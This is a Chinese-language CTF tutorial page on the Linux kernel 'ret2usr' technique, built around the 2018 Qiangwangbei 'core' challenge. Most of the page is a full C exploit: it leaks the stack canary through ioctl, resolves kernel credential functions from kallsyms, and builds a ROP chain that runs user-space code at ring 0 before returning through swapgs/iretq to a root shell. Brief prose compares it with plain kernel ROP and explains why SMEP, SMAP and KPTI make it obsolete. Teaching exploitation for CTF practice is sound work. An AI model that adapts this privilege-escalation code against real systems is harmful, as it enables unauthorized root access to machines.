跳转至

ret2usr(已過時)

概述

在【未】開啓SMAP/SMEP保護的情況下,用戶空間無法訪問內核空間的數據,但是內核空間可以訪問/執行用戶空間的數據,因此 ret2usr 這種攻擊手法應運而生——通過 kernel ROP 以內核的 ring 0 權限執行用戶空間的代碼以完成提權。

通常 CTF 中的 ret2usr 還是以執行commit_creds(prepare_kernel_cred(NULL))進行提權爲主要的攻擊手法,不過相比起構造冗長的ROP chain,ret2usr 只需我們要提前在用戶態程序構造好對應的函數指針、獲取相應函數地址後直接 ret 回到用戶空間執行即可。

✳ 對於開啓了SMAP/SMEP保護的 kernel 而言,內核空間嘗試直接訪問用戶空間會引起 kernel panic,我們將在下篇講述其繞過方式。

例題:2018 強網杯 - core

具體的這裏就不再重複分析了,由於其未開啓 smap/smep 保護,故可以考慮在用戶地址空間中構造好對應的函數指針後直接 ret2usr 以提權,我們只需要將代碼稍加修改即可。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define  IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

void coreRead(int fd, char * buf)
{
    ioctl(fd, 0x6677889B, buf);
}

void setOffValue(int fd, size_t off)
{
    ioctl(fd, 0x6677889C, off);
}

void coreCopyFunc(int fd, size_t nbytes)
{
    ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    int fd = open("/proc/core", 2);
    if(fd <0)
    {
        printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
        exit(-1);
    }

    //get the addr
    FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }

    size_t offset = commit_creds - 0xffffffff8109c8e0;

    // get the canary
    size_t canary;
    setOffValue(fd, 64);
    coreRead(fd, buf);
    canary = ((size_t *)buf)[0];

    //construct the ropchain
    size_t rop_chain[0x100], i = 0;
    for(; i < 10;i++)
        rop_chain[i] = canary;
    rop_chain[i++] = (size_t)getRootPrivilige;
    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)getRootShell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;

    write(fd, rop_chain, 0x800);
    coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}
比較一下和常規 ROP 做法的異同。

  1. 通過讀取 /tmp/kallsyms 獲取 commit_credsprepare_kernel_cred 的方法相同,同時根據這些偏移能確定 gadget 的地址。
  2. leak canary 的方法也相同,通過控制全局變量 off 讀出 canary。
  3. 與 kernel rop 做法不同的是 rop 鏈的構造
    1. kernel rop 通過 內核空間的 rop 鏈達到執行 commit_creds(prepare_kernel_cred(0)) 以提權目的,之後通過 swapgs; iretq 等返回到用戶態,執行用戶空間的 system("/bin/sh") 獲取 shell
    2. ret2usr 做法中,直接返回到用戶空間構造的 commit_creds(prepare_kernel_cred(0)) (通過函數指針實現)來提權,雖然這兩個函數位於內核空間,但此時我們是 ring 0 特權,因此可以正常運行。之後也是通過 swapgs; iretq 返回到用戶態來執行用戶空間的 system("/bin/sh")

從這兩種做法的比較可以體會出之所以要 ret2usr,是因爲一般情況下在用戶空間構造特定目的的代碼要比在內核空間簡單得多。

KPTI 與 ret2usr

對於開啓了 KPTI 的內核而言,內核頁表的用戶地址空間無執行權限,因此當內核嘗試執行用戶空間代碼時,由於對應頁頂級表項沒有設置可執行位,因此會直接 panic,這意味着實際上 ret2usr 已經是過去式了